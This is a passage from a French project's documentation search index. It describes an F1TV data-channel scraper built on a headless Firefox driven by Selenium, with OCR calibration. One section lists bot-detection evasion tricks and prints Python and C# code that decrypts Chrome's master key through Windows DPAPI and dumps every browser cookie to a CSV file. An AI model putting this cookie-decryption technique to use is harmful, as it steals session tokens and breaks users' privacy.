ont envoy\u00e9es dans la partie traitement qui va faire des v\u00e9rifications d'usage pour s'assurer qu'elles sont correctes et quand c'est fait, tout est envoy\u00e9 dans une base de donn\u00e9es SQLITE. On ne montre pas non plus dans ce diagramme la parte affichage des donn\u00e9es car je ne trouve pas pertinent de l'inclure ici. Et voila c'est le fonctionnement tr\u00e8s g\u00e9n\u00e9ral et simplifi\u00e9 de l'application. Je vous invite \u00e0 continuer \u00e0 lire cette documentation pour des informations plus pr\u00e9cises \u00e0 propos de toutes ces \u00e9tapes. Bonne lecture !","title":"R\u00e9sum\u00e9 du fonctionnement g\u00e9n\u00e9ral"},{"location":"index.html#recuperation-des-images","text":"Voici la premi\u00e8re grande \u00e9tape du projet. Pour rappel, Amazon h\u00e9berge directement le site de la F1TV et poss\u00e8de les droits sur les donn\u00e9es de la F1. C'est sous le nom de AWS (le service d'h\u00e9bergement d'Amazon) que la firme apparait en tant que sponsor. On peut voir ce nom appara\u00eetre assez souvent quand on regarde un Grand Prix car comme ils ont la main-mise sur les donn\u00e9es ils peuvent ins\u00e8rer des bandeaux d'informations sur le flux public sur ce qu'il se passe voir m\u00eame faire des pr\u00e9dictions (Bien qu'un peu bancales) \"Exemple insertion AWS en GP\" Ce service s'appelle F1 Insights (Oui c'est un meilleur nom de projet que F1 Companion mais bon) et c'est, je pense, la raison pour laquelle on ne voit aucune API publique qui permette de correctement se renseigner en don\u00e9es en direct pendant un Grand Prix. Ils ont du d\u00e9gotter un juteux contrat pour s'occuper de toute l'infrastructure digitale de la F1 (du moins publique) en \u00e9change d'une exclusivit\u00e9 totale sur certaines choses comme les Data \"Exemple data d'AWS\" Evidemment je ne fais que conjecturer et ce que j'ai dit n'est pas \u00e0 prendre au pied de la lettre mais c'est une explication possible je pense de pourquoi il est si difficile de trouver des donn\u00e9es sur la F1 facilement en temps r\u00e9el. Il existe bien quelques API un peu bancales publiques, mais le probl\u00e8me c'est qu'elles ne sont vraiment pas suffisante et je ne peux pas leur faire confiance quand je commente. Ce qu'il m'aurait fallut c'est une API publique et officielle qui me permette d'\u00eatre sur que les donn\u00e9es sont les bonnes et qu'elles arrivent le plus vite possible. On pourrait croire que c'est impossible car cela n'existe pas comme je l'ai dit MAIS ! Ce n'est pas compl\u00eatement vrai. En effet depuis que je poss\u00e8de un abonnement \u00e0 la F1TV, il existe une source d'informations tr\u00e8s pr\u00e9cieuse qui m'aide \u00e9norm\u00e9ment dans mon quotidien de commentateur de Formule 1. La \"DATA CHANNEL\". La Data Channel est une page de la F1TV qui permet, pour chaque Grand Prix, de visualiser, sous la forme d'un flux vid\u00e9o, diff\u00e9rentes informations capitales sur la course. \"Exemple de Data Channel\" Le probl\u00e8me, c'est que comme je viens de le dire, ces donn\u00e9es ne sont pas accessibles comme un tableau HTML ou un flux RSS ou un tableau JSON. C'est un flux vid\u00e9o. Il faut savoir qu'entretenir une diffusion de flux vid\u00e9o en 1080P pendant deux heures accessible par des milliers d'abonn\u00e9s est EXTR\u00caMENT cher surtout quand on le compare \u00e0 simplement afficher les donn\u00e9es dans un tableau. Ce qui veut dire que ce choix est d\u00e9lib\u00e9r\u00e9 et a un sens au niveau \u00e9conomique. Je pense donc que c'est justement pour \u00e9viter que des petits malins puissent simplement venir scraper l'int\u00e9gralit\u00e9 des donn\u00e9es qu'ils proposent et fasse sa propre API. (C'est d'ailleurs un des sites avec la meilleure protection anti bot du monde) MAIS ce n'est pas par ce que les donn\u00e9es ne sont pas facile \u00e0 avoir qu'elles sont IMPOSSIBLE \u00e0 avoir. Et c'est la que ce projet entre en jeu. Mais pour d\u00e9coder les donn\u00e9es d'une image il faut dabord ... (roulement de tambours) ... Avoir des images ! Et c'est la que vient se glisser cette partie du projet.","title":"R\u00e9cup\u00e9ration des images"},{"location":"index.html#comment-faire","text":"Le but de ce segment est de se concentrer sur la r\u00e9cup\u00e8ration et la mise \u00e0 disposition pour le reste du programme, des images en direct de la F1TV dans la meilleure qualit\u00e9 possible et dans les meilleurs d\u00e9lais. Pour ce faire il y a plusieurs solutions : Reverse engeneer la F1TV pour acc\u00e8der directement au flux sans passer par la plateforme internet et pouvoir prendres images \u00e0 volont\u00e9. Avoir tout simplement une page de la F1TV ouverte sur un \u00e9cran et prendres des screenshots \u00e0 intervals r\u00e9guliers. Simuler un navigateur internet sans qu'il soit affich\u00e9 et le contr\u00f4ler automatiquement pour qu'il prenne des captures. La premi\u00e8re option aurait \u00e9t\u00e9 la plus \u00e9l\u00e9gante mais lors d'un POC que je tentais de r\u00e9aliser je me suis rendu compte que cela serait un peu trop compliqu\u00e9 et long \u00e0 faire. Sans compter le fait que les rediffusions de Grand Prix ne sont pas g\u00e8r\u00e9es de la m\u00eame mani\u00e8re que les diffusions en live. Et que pour faire des Tests en live il faudrait attendre \u00e0 chaque fois un weekend de Grand Prix et le faire en plus du commentaire que je dois produire. Pour toutes ces raisons et bien d'autres je l'ai rang\u00e9e dans la case \"Trop dur, Trop chiant, S\u00fbrement ill\u00e9gal\" (Oui je sais c'est une cat\u00e9gorie bien sp\u00e9cifique mais c'est ma documentation je fais ce que je veux) La troisi\u00e8me option aurait \u00e9t\u00e9 la plus simple (et moins dr\u00f4le) et je suis presque s\u00fbr que je peux impl\u00e9menter cette derni\u00e8re en moins d'une apr\u00e8s-midi. Sauf qu'elle apporte de gros soucis. On ne peux pas garantir l'int\u00e9grit\u00e9 et la continuit\u00e9 des donn\u00e9es si l'utilisateur avance ou fait pause m\u00eame par simple inadvertance. La moindre fen\u00eatre qui s'afficherait devant ruinerait toute la reconnaissance de caract\u00e8res. On ne peut pas contr\u00f4ler la qualit\u00e9 du flux et on est oblig\u00e9 de faire confiance en l'utilisateur On ne peut pas vraiment automatiser quoi que ce soit niveau tests ou m\u00eame pour faire du scrapping auto pour remplir une base de donn\u00e9e. Et finalement le pire inconv\u00e9nient : C'EST NUL ! Je ne pourrais jamais utiliser un projet qui fonctionne de cette facon, je ne peux pas me permettre d'avoir un \u00e9cran inutilisable quand je commente et auquel je dois constamment faire attention pour ne pas perturber la reconnaissance. Pour moi cette option aurait \u00e9t\u00e9 celle \u00e0 choisir en cas d'extr\u00eame urgence et en dernier recours car le projet deviendrait inutile. J'ai donc d\u00e9cid\u00e9 de m'occuper de la seconde option : Simuler un navigateur. Cette option bien que complexe et difficile \u00e0 impl\u00e9menter propose une solution \u00e0 tous les probl\u00eame et permet une r\u00e9cup\u00e8ration quasi sans compromis.","title":"Comment faire ?"},{"location":"index.html#simuler-un-navigateur","text":"\"Navigateur Headless(sans t\u00eate)\" Simuler un navigateur internet n'est pas forc\u00e9ment tr\u00e8s difficile. Chromium par exemple offre une panoplie d'outils natifs et \u00e9norm\u00e9ment de librairies existent permettant de facilement et en quelques lignes simuler un Google Chrome et le contr\u00f4ler sans afficher son UI (Interface Utilisateur). \"Chromium logo\" {: style=\"height:150px;width:150px\"} Cependant. La F1TV n'utilise pas simplement un player HTML5 basique. Elle utilise un service de streaming BitMovin qui permet de fournir un stream de bonne qualit\u00e9 et surtout qui impl\u00e9mente les DRM (Digital Right Management) Cela veut dire que quand on ouvre un flux de la F1TV sur chrome et que l'on essaie de prendre une capture d'\u00e9cran, le player se met en noir et ne permet pas de voir quoi que ce soit (Certaines version de Chrome le permettent pendant quelques semaines avant de bloquer \u00e0 nouveau). Ce qui dans notre cas est un immense probl\u00e8me. Mais Firefox ne nous bloque pas de cette facon et il est donc assez facile de passer outre. L'explication sans trop rentrer dans les d\u00e9tails est la suivante : Dans chrome, le player par d\u00e9faut utilise une technologie appell\u00e9e \"PCP\" ou \"Protected Content Playback\" qui leur permet de bloquer au moins une partie des techniques de r\u00e9cup\u00e8ration du flux vid\u00e9o et audio. Cependant Firefox de pas sa nature Open Source utilise \"OpenH264\" pour lire ces m\u00eames flux soumis \u00e0 des DRM et OpenH264 n'impl\u00e9mente pas les m\u00eames restrictions. Sauf que Firefox n'est pas aussi facilement \u00e9mul\u00e9 que chrome et cela r\u00e9duit notre choix de librairies \u00e0 ... Une seule... Qui est Selenium. (Il existe aussi Pupetteer C# mais j'ai rencontr\u00e9 \u00e9norm\u00e9ment de soucis avec cette derni\u00e8re d\u00e8s que je voulais lancer une vid\u00e9o) \"Firefox dev logo\" {: style=\"height:150px;width:150px\"} Mais m\u00eame si la documentation est plut\u00f4t maigre parfois, c'est une bonne librairie qui permet de tr\u00e8s bien contr\u00f4ler une instance de chrome ou de Firefox.","title":"Simuler un navigateur ?"},{"location":"index.html#controler-le-navigateur","text":"Maintenant que l'on sait quel navigateur simuler et avec quelle technologie, on peut passer \u00e0 la r\u00e9alisation. Ce qu'il y a de bien avec Selenium, c'est qu'on a un certain nombre de commandes tr\u00e8s haut niveau qui nous permettent de contr\u00f4ler un navigateur de mani\u00e8re plut\u00f4t pr\u00e9cise. Je vais d\u00e9crire ici la proc\u00e9dure habituelle utilis\u00e9e sous une forme de recette de cuisine pour que l'on puisse facilement comprendre ce qu'il se passe. Durant cette explication je vais parler \u00e0 un moment de Cookies, ne vous en faites pas c'est le sous chapitre suivant qui va vous en parler. Recette de cuisine pour r\u00e9cup\u00e8rer des images de la F1TV : D\u00e9marrer une instance de navigateur avec les bons arguments Ajouter les bons param\u00eatres pour ne pas se faire flag comme un bot Naviguer sur la page de la F1TV Ajouter les cookies de connexion pour avoir acc\u00e8s au contenu de la page Naviguer sur la page du Grand Prix demand\u00e9 Attendre un peu que la page se charge Cliquer sur l'invite de cookies Attendre cinq secondes le temps que la page se reload Cliquer sur le bouton qui permet de passer du feed live \u00e0 la DATA CHANNEL Appuyer sur Espace pour faire apparaitre le bouton d'acc\u00e8s au param\u00eatres Cliquer sur le menu d\u00e9roulant des r\u00e9solution Trouver l'option 1080P et la selectionner Cliquer sur le bouton qui met la vid\u00e9o en plein \u00e9cran Prendre de screenshots \u00e0 intervales r\u00e9guliers Pour faire toutes ces actions on doit r\u00e9cup\u00e8rer les \u00e9l\u00e9ments selon leur ID ou leur classe. Voici un exemple qui r\u00e9cup\u00e8re le bouton de plein \u00e9cran et qui clique dessus : IWebElement fullScreenButton = Driver . FindElement ( By . ClassName ( \"bmpui-ui-fullscreentogglebutton\" )); fullScreenButton . Click (); Ca peut para\u00eetre plut\u00f4t simple dit comme ca et quand tout fonctionne ca l'est mais la difficult\u00e9 vient du fait que \u00e0 peu pr\u00e8s nimporte laquelle de ces \u00e9tapes peut rater et qu'il faut donc faire un bon syst\u00e8me de gestion d'erreurs qui puisse aider l'utilisateur en cas de probl\u00e8me. Parfois il est aussi difficile de trouver un \u00e9l\u00e9ment selon son ID,sa classe, ou sa value. Par exemple l'option qui permet de passer en 1080P peut avoir comme value 1080_9011456 ou 1080_9011200 si on refresh la page. Cela demande de passer par des expression r\u00e9guli\u00e8res ce qui n'est pas compliqu\u00e9 en soi mais c'est toutes ces petites choses qui rendent le processus long \u00e0 mettre en place. Il faut dire aussi que les sites ne sont pas forc\u00e9ment tr\u00e8s content de voir des bots passer car cela peut \u00eatre un risque de DDOS et de Scraping (Comme moi) et donc ils mettent en place des syst\u00e8mes pour nous emp\u00eacher de faire ce que l'on veut On peut utiliser diff\u00e9rntes techniques pour passer outre ces restrictions comme : Changer son UserAgent Changer sa r\u00e9solution Ne pas avoir des patterns trop pr\u00e9visibles Avoir un historique Ne pas cliquer pile sur le milieu des boutons Ne pas cliquer trop vite Passer par un proxy pour ne pas se faire flag Utiliser des librairies plus discr\u00e8tes J'ai eu l'occasion de tester toutes ces methodes pour tenter de passer derri\u00e8re les radars de la F1TV et visiblement j'ai r\u00e9ussi pour les pages principales mais pas pour les pages de Login. Il faut savoir que la bataille entre bots et propri\u00e9taires de sites est un grand jeu du chat et de la souris et que les plateformes innovent constamment leur s\u00e9curit\u00e9. Et il se trouve que la partie login de la F1TV est heberg\u00e9e autre part que le reste du site chez Amazon et que elle poss\u00e8de les meilleures s\u00e9curit\u00e9s que j'aie pu voir. Aucunes des methodes que j'ai cit\u00e9es et d'autres encore que j'ai essay\u00e9 n'ont r\u00e9ussi \u00e0 fourvoyer le syst\u00e8me. J'ai donc \u00e9t\u00e9 oblig\u00e9 de faire appel \u00e0 la connexion par Cookies pour pouvoir acc\u00e8der au reste du site internet.","title":"Contr\u00f4ler le navigateur"},{"location":"index.html#recuperer-les-cookies","text":"Alors, on va mettre de c\u00f4t\u00e9 toutes les questions de s\u00e9curit\u00e9 et de violation de la vie priv\u00e9e et de protection des donn\u00e9es des utilisateurs pour ce chapitre. Car pour faire simple, je siphonne TOUS les cookies de la persone qui utilise mon app. Alors \u00e9videmment ca n'est pas pour faire des b\u00e9tises avec et c'est pour une \"bonne\" raison, mais bon quand m\u00eame ca peut faire bizarre comme ca. Je pense que vous savez d\u00e9ja ce qu'est un Cookie, mais je vais quand m\u00eame faire un petit point la dessus car c'est important pour la suite. Quand on va sur un site internet et que l'on se connecte avec nos identifiants nous sommes connect\u00e9s sur la session. Cependant, si on quitte le site ou que l'on ferme le navigateur, le site ne peut pas garder en m\u00e9moire que c'est bien vous quand le lendemain vous retournez dessus. Pour palier \u00e0 cette limitation on a invent\u00e9 cette chose magnifique (hem...) que sont les cookies ! Les cookies sont des petits fichiers qui sont stock\u00e9s dans votre navigateur et qui peuvent servir \u00e0 beaucoup de choses comme traquer votre activit\u00e9 sur internet et espionner un peu ou aussi par exemple, servir de jeton de connexion. L'id\u00e9e est que quand vous vous connectez sur le site avec vos identifiants, le site envoie un petit fichier dans votre navigateur qui va servir de jeton. Et donc quand vous reviendrez, le site pourra voir que vous avez le jeton et vous connectera automatiquement. Ca peut para\u00eetre g\u00e9nial, et c'est effectivement bien pratique, cependant ce n'est pas sans risques. En effet, imaginons qu'un acteur malveillant parvienne \u00e0 s'emparer de ces petits fichiers, il pourrait ainsi facilement se faire passer pour vous. Alors un cookie expire \u00e0 un moment donn\u00e9 pour temperer les risques, mais ils sont toujours pr\u00e9sents. Dans notre cas on peut vite comprendre pourquoi cela peut \u00eatre int\u00e9ressant de r\u00e9cup\u00e8rer ces cookies. En effet, si on peut mettre la main sur le jeton de connexion de l'utilisateur de notre application. On pourra se connecter automatiquement \u00e0 la F1TV et aller prendre des photos directement sans que l'utilisateur aie \u00e0 faire quoi que ce soit. Sauf que les cookies ne sont pas stock\u00e9s en clair comme ca. Evidemment Google Chrome a mis en place quelques techniques pour \u00e9viter que nimporte qui puisse s'amuser \u00e0 aller taper dans les cookies de la machine. Tous les cookies sont stock\u00e9s dans une base de donn\u00e9es sqlite avec les noms en clair et les valeurs sont encrypt\u00e9es en utilisant la methode AES 256 qui est une methode de cryptage tr\u00e8s utilis\u00e9e et efficace. Tellement efficace qu'il serait compl\u00eatement inutile de tenter de les decrypter en utilisant de la force brute pour trouver la valeur ou m\u00eame une attaque de dictionnaire ou quoi que ce soit. Si ces valeurs peuvent \u00eatre encod\u00e9es et d\u00e9cod\u00e9es en local sur la machine sans connexion internet, cela veut dire que la cl\u00e9 est stock\u00e9e sur la machine. Et si je peux mettre la mais sur cette cl\u00e9 alors je pourrai lire tous les cookies de la machine. Cette cl\u00e9 est stock\u00e9 dans les fichiers de Google Chrome sous Google\\Chrome\\User Data\\Local State . Et dans ce fichier on peut trouver une liste de donn\u00e9es en cl\u00e9 valeurs et on peut trouver la cl\u00e9 sous os_crypt encrypted_key . On pourrait croire que l'on a d\u00e9ja touch\u00e9 le jackpot mais il reste encore une \u00e9tape. Cette cl\u00e9 est crypt\u00e9e en utilisant le syst\u00e8me d'encryption de Windows. Cette encryption est utilis\u00e9e pour emp\u00eacher des utilisateurs non connect\u00e9s d'acc\u00e8der \u00e0 certaines donn\u00e9es. Mais comme nous sommes connect\u00e9s nous pouvons facilement utiliser les librairies de decryption pour trouver la valeur de cette cl\u00e9. Et \u00e0 partir de la il suffit d'utiliser cette cl\u00e9 pour d\u00e9crypter tous les cookies de la machine pour aller chercher ceux qui nous int\u00e9ressent. Voici un exemple du code python qui permet d'aller chercher la cl\u00e9 d'encryption dans les fichiers de Google Chrome : def get_master_key (): with open ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Local State\" , \"r\" ) as f : local_state = f . read () local_state = json . loads ( local_state ) master_key = base64 . b64decode ( local_state [ \"os_crypt\" ][ \"encrypted_key\" ]) master_key = master_key [ 5 :] # removing DPAPI master_key = win32crypt . CryptUnprotectData ( master_key , None , None , None , 0 )[ 1 ] print ( \"MASTER KEY :\" ) print ( master_key ) print ( len ( master_key )) return master_key Python ?? Et oui j'ai choisit d'utiliser un srypt python pour aller chercher les cookies. Ce choix a \u00e9t\u00e9 fait pour trois raisons : Le python est un language que je n'aime pas particuli\u00e8rement mais qui poss\u00e8de un \u00e9ventail de librairies absolument fantastique. Et pour ce genre de choses qui demandent une constante mise \u00e0 jour des librairies et qui sont un peu niches le python est une option juste g\u00e9niale. Comme c'est une des parties qui est le plus suceptible de changer vu que Chrome change relativement souvent le syst\u00e8me de stockage des cookies. Dans une optique de facilit\u00e9 de maintenance, avoir un seul fichier qui concerne cette partie du projet et qui est dans un language que plus de gens maitrisent que C# est pratique. Je n'ai pas r\u00e9ussi \u00e0 trouver de librairies C# qui me donne des r\u00e9sultats identiques \u00e0 celles que j'utilise dans ce script python. Pour faire la liaison entre le C# et le python, j'appelle le script depuis mon C# et ensuite le python s'occupe de mettre tous les cookies dans un CSV qui est ensuite lu depuis le C#. Voici la partie python qui \u00e9crit dans le csv : if not cookies_path . exists (): raise ValueError ( \"Cookies file not found\" ) with sqlite3 . connect ( cookies_path ) as connection : connection . row_factory = sqlite3 . Row cursor = connection . cursor () cursor . execute ( \"SELECT * FROM cookies\" ) with open ( 'cookies.csv' , 'a' , newline = '' ) as csvfile : fieldnames = [ 'host_key' , 'name' , 'value' , 'path' , 'expires_utc' , 'is_secure' , 'is_httponly' ] writer = csv . DictWriter ( csvfile , fieldnames = fieldnames ) if csvfile . tell () == 0 : writer . writeheader () for row in cursor . fetchall (): decrypted_value = decrypt_password ( row [ \"encrypted_value\" ], master_key ) writer . writerow ({ 'host_key' : row [ \"host_key\" ], 'name' : row [ \"name\" ], 'value' : decrypted_value , 'path' : row [ \"path\" ], 'expires_utc' : row [ \"expires_utc\" ], 'is_secure' : row [ \"is_secure\" ], 'is_httponly' : row [ \"is_httponly\" ] }) print ( \"Finished CSV\" ) Et la partie C# qui appelle le script et qui lit le CSV : private void StartCookieRecovering () { string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME ; Process process = new Process (); process . StartInfo . FileName = \"python.exe\" ; process . StartInfo . Arguments = scriptPath ; process . StartInfo . UseShellExecute = false ; process . StartInfo . RedirectStandardOutput = true ; process . Start (); string output = process . StandardOutput . ReadToEnd (); process . WaitForExit (); } public string GetCookie ( string host , string name ) { StartCookieRecovering (); string value = \"\" ; List < Cookie > cookies = new List < Cookie >(); using ( var reader = new StreamReader ( COOKIES_CSV_FILENAME )) { // Read the header row and validate column order string header = reader . ReadLine (); string [] expectedColumns = { \"host_key\" , \"name\" , \"value\" , \"path\" , \"expires_utc\" , \"is_secure\" , \"is_httponly\" }; string [] actualColumns = header . Split ( ',' ); for ( int i = 0 ; i < expectedColumns . Length ; i ++) { if ( expectedColumns [ i ] != actualColumns [ i ]) { throw new InvalidOperationException ( $\"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'\" ); } } // Read each data row and parse values into a Cookie object while (! reader . EndOfStream ) { string line = reader . ReadLine (); string [] fields = line . Split ( ',' ); string hostname = fields [ 0 ]; string cookieName = fields [ 1 ]; if ( hostname == host && cookieName == name ) { value = fields [ 2 ]; } } } return value ; } Maintenant que l'on sait comment simuler et manipuler un navigateur internet, que l'on sait comment se connecter sur le compte F1TV de l'utilisateur sans qu'il n'aie rien \u00e0 faire. On a tous les ingr\u00e9dients pour automatiquement r\u00e9cup\u00e8rer des images de la F1TV du Grand Prix que l'on souhaite.","title":"R\u00e9cup\u00e8rer les cookies ?"},{"location":"index.html#calibration","text":"Maintenant que l'on a des images de la page Data de la F1TV on pourrait croire que c'est tout bon on peut direct passer \u00e0 la partie OCR. Mais que nenni ! Le gros soucis de l'OCR c'est que sa pr\u00e9cision est grandement r\u00e9duite d\u00e8s que l'on augmente la taille de la zone de recherche. M\u00eame simplement deux mots sur une image, si on les prends dans images individuelles on a de grandes chances de trouver quelque chose mais si on les mets les deux sur la m\u00eame et que on tente l'OCR on va avoir de r\u00e9sultats bien moins bons. Et puis il faut aussi voir que selon les donn\u00e9es que je cherche je ne peux pas faire le m\u00eame traitement. Par exemple, savoir si le DRS est allum\u00e9, savoir quels pneus chausse un pilote et depuis combien de tours et savoir quel est le temps de son dernier tour, ce sont des informations qui demandent des traitements qui n'ont rien \u00e0 voir. Il faut donc pouvoir dire au programme d'OCR ou se trouvent les informations et quelle est leur nature pour qu'il puisse les d\u00e9coder. Il faut donc faire une calibration qui puisse donner toutes les infos importantes mais qui en m\u00eame temps soit facile \u00e0 utiliser car un utilisateur doit \u00eatre capable de le faire assez facilement. Voici la liste des informations que l'on doit r\u00e9cup\u00e8rer : La liste des pilotes pr\u00e9sent sur le Grand Prix La position de la zone principale La position de chaque zone de pilote La position de toutes les Window sur chaque zone de pilote Le but a \u00e9t\u00e9 de retirer le plus d'\u00e9tapes possibles \u00e0 l'utilisateur. Techniquement j'aurais pu faire une version compl\u00eatement manuelle mais ca aurait pris trop de temps alors il y a des syst\u00e8mes qui permettent de rendre cette t\u00e2che moins p\u00e9nible.","title":"Calibration"},{"location":"index.html#liste-des-pilotes","text":"Pour la liste des pilotes j'ai pens\u00e9 \u00e0 utiliser une API externe pour avoir une liste dans laquelle on pourrait selectionner des noms de pilotes sauf que j'ai abandonn\u00e9 l'id\u00e9e car je trouvais que le projet avait d\u00e9ja bien assez de points qui d\u00e9pendent de l'exterieur. Il y a donc une liste de pilotes dans laquelle on peut ajouter ou supprimer des noms de pilotes. L'id\u00e9al serait de mettre tous les pilotes de reserve comme ca si un pilote est malade sur une course on a pas besoin de venir changer la liste.","title":"Liste des pilotes"},{"location":"index.html#zone-principale","text":"Pour la zone principale c'est compl\u00eatement manuel, on attend de l'utilisateur deux points x,y sur l'image pour ensuite avoir une id\u00e9e de ou est sens\u00e9 se trouver la zone. \"Exemple de zone principale\"","title":"Zone principale"},{"location":"index.html#zones-pilotes","text":"C'est la que ca devient int\u00e9ressant. L'utilisateur n'a pas besoin de faire quoi que ce soit pour que le programme sache ou sont les zones des pilotes. J'aurais pu le faire manuellement en faisant choisir \u00e0 l'utilisateur de donner deux points qui correspondent \u00e0 la premi\u00e8re zone et extrapoler pour en avoir 20. Sauf que si l'utilisateur n'est pas pr\u00e9cis au pixel pr\u00e8s (et m\u00eame comme ca parfois) le vingti\u00e8me pilote se retrouve avec une zone compl\u00eatement desax\u00e9e. La, le programme va \"simplement\" effectuer une reconaissance de texte sur toute l'image. Les r\u00e9sultats ne nous int\u00e9ressent pas vraiment tout ce que l'on veut c'est la position des textes. Avec les position il est facile de determiner ou sont toutes les zones de pilotes et donc sans que l'utilisateur n'aie \u00e0 toucher quoi que ce soit, d\u00e8s qu'il a donn\u00e9 les infos pour la zone principale, les zones de pilotes sont determin\u00e9es. \"Exemple zone pilote\" Voici un exemple du code utilis\u00e9 pour trouver ou dessiner des zones de pilotes : public void AutoCalibrate () { List < Rectangle > detectedText = new List < Rectangle >(); List < Zone > zones = new List < Zone >(); TesseractEngine engine = new TesseractEngine ( Window . TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Image image = MainZone . ZoneImage ; var tessImage = Pix . LoadFromMemory ( Window . ImageToByte ( image )); Page page = engine . Process ( tessImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if ( boundingBox . Height < image . Height / NUMBER_OF_DRIVERS ) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if ( boundingBox . X1 > image . Width / 2 ) { //Now we check if an other square box has been found roughly in the same y axis bool match = false ; //The tolerance is roughly half the size that a window will be int tolerance = ( image . Height / NUMBER_OF_DRIVERS ) / 2 ; foreach ( Rectangle rect in detectedText ) { if ( rect . Y > boundingBox . Y1 - tolerance && rect . Y < boundingBox . Y1 + tolerance ) { //There already is a rectangle in this line match = true ; } } //if nothing matched we can add it if (! match ) detectedText . Add ( new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } } } } while ( iter . Next ( PageIteratorLevel . Word )); } //DEBUG int i = 1 ; foreach ( Rectangle Rectangle in detectedText ) { Rectangle windowRectangle ; Size windowSize = new Size ( image . Width , image . Height / NUMBER_OF_DRIVERS ); Point windowLocation = new Point ( 0 , ( Rectangle . Y + Rectangle . Height / 2 ) - windowSize . Height / 2 ); windowRectangle = new Rectangle ( windowLocation , windowSize ); //We add the driver zones Zone driverZone = new Zone ( MainZone . ZoneImage , windowRectangle , \"DriverZone\" ); MainZone . AddZone ( driverZone ); //driverZone.ZoneImage.Save(\"Driver\" + i+\".png\"); i ++; } }","title":"Zones pilotes"},{"location":"index.html#windows-pilotes","text":"C'est ici que c'est le plus p\u00e9nible pour l'utilisateur, il doit selectionner manuellement les positions des fen\u00eatres de donn\u00e9es. Ensuite d\u00e8s que l'utilisateur a donn\u00e9e une position pour chaque window, on applique les positions pour chaque zone de pilote. Il y a plusieurs types de windows et selon le type le traitement est diff\u00e9rent comme je l'ai dit plus t\u00f4t. Voici des exemples concrets : \"Exemple Window de pneus\" \"Exemple Window temps au tour\" \"Exemple window Drs\" Il est important que toutes ces zones soient transmises avec le plus de pr\u00e9cision possible pour que l'OCR puisse bien faire son boulot.","title":"Windows pilotes"},{"location":"index.html#stockage","text":"Ensuite quand l'utilisateur a finit de configurer son flux, la configuration est stock\u00e9e pour qu'il puisse ensuite la r\u00e9utiliser pour tous les autres Grand Prix de l'ann\u00e9e. Le stockage est fait sous format JSON et est fait pour que le programme d'OCR puisse lire dedans toutes les infos nescessaires. Cela fait des fichiers plut\u00f4t gros mais je n'avais pas vraiment le choix. J'ai test\u00e9 une version avec seulement les infos de la premi\u00e8re zone de pilote mais avec l'interpolation, les derniers pilotes se retrouvent avec des zones clairement pas \u00e0 la bonne taille. Voici un exemple de ce \u00e0 quoi ressemble le JSON final : { \"Main\" : { \"x\" : 36 , \"y\" : 343 , \"width\" : 3780 , \"height\" : 1454 , \"DriverZones\" : [ { \"name\" : \"Driver1\" , \"x\" : 0 , \"y\" : 1 , \"width\" : 3780 , \"height\" : 72 , \"Windows\" : [ { \"Position\" : { \"x\" : 45 , \"y\" : 3 , \"width\" : 76 , \"height\" : 65 }, \"GapToLeader\" : { \"x\" : 447 , \"y\" : 1 , \"width\" : 206 , \"height\" : 67 }, \"LapTime\" : { \"x\" : 863 , \"y\" : 3 , \"width\" : 229 , \"height\" : 65 }, \"DRS\" : { \"x\" : 1095 , \"y\" : 1 , \"width\" : 174 , \"height\" : 67 }, \"Tyres\" : { \"x\" : 1274 , \"y\" : 3 , \"width\" : 1448 , \"height\" : 62 }, \"Name\" : { \"x\" : 2724 , \"y\" : 3 , \"width\" : 361 , \"height\" : 65 }, \"Sector1\" : { \"x\" : 3088 , \"y\" : 1 , \"width\" : 239 , \"height\" : 65 }, \"Sector2\" : { \"x\" : 3314 , \"y\" : 4 , \"width\" : 190 , \"height\" : 62 }, \"Sector3\" : { \"x\" : 3493 , \"y\" : 1 , \"width\" : 198 , \"height\" : 67 } } ] }, { \"name\" : \"Driver2\" , \"x\" : 0 , \"y\" : 72 , \"width\" : 3780 , \"height\" : 72 , \"Windows\" : [ { \"Position\" : { \"x\" : 45 , \"y\" : 3 , \"width\" : 76 , \"height\" : 65 }, \"GapToLeader\" : { \"x\" : 447 , \"y\" : 1 , \"width\" : 206 , \"height\" : 67 }, \"LapTime\" : { \"x\" : 863 , \"y\" : 3 , \"width\" : 229 , \"height\" : 65 }, \"DRS\" : { \"x\" : 1095 , \"y\" : 1 , \"width\" : 174 , \"height\" : 67 }, \"Tyres\" : { \"x\" : 1274 , \"y\" : 3 , \"width\" : 1448 , \"height\" : 62 }, \"Name\" : { \"x\" : 2724 , \"y\" : 3 , \"width\" : 361 , \"height\" : 65 }, \"Sector1\" : { \"x\" : 3088 , \"y\" : 1 , \"width\" : 239 , \"height\" : 65 }, \"Sector2\" : { \"x\" : 3314 , \"y\" : 4 , \"width\" : 190 , \"height\" : 62 }, \"Sector3\" : { \"x\" : 3493 , \"y\" : 1 , \"width\" : 198 , \"height\" : 67 } } ] } [ O t her pilo ts ... ] ], \"Drivers\" : [ \"Perez\" , \"Verstappen\" , \"Alonso\" , \"Sainz\" , \"Russel\" , \"Gasly\" , \"Leclerc\" , \"Ocon\" , \"Hulkenberg\" , \"Bottas\" , \"Hamilton\" , \"Albon\" , \"Tsunoda\" , \"Zhou\" , \"Stroll\" , \"De Vries\" , \"Magnussen\" , \"Norris\" , \"Piastri\" , \"Sargeant\" ] } } Et avec tout ca. L'OCR peut d\u00e9marrer dans de bonnes conditions","title":"Stockage"},{"location":"index.html#ocr_1","text":"Maintenant que on a des images qui arrivent automatiquement et que l'on sait ou se trouvent les informations sur ces dites images, je vais parler de la seconde partie du projet qui parle du processus de reconnaissance de data sur une image du feed DATA de la F1TV. C'est je pense la partie qui a demand\u00e9 le plus tests et de refactor. Toute la partie OCR a \u00e9t\u00e9 d\u00e9velopp\u00e9e dans un projet \u00e0 part avant d'\u00eatre int\u00e9gr\u00e9e dans le projet final. Il faut savoir que la reconnaissance est diff\u00e9rente celon ce que l'on cherche. Je vais donc d\u00e9composer cette partie du document en sous rubriques selon les donn\u00e9es 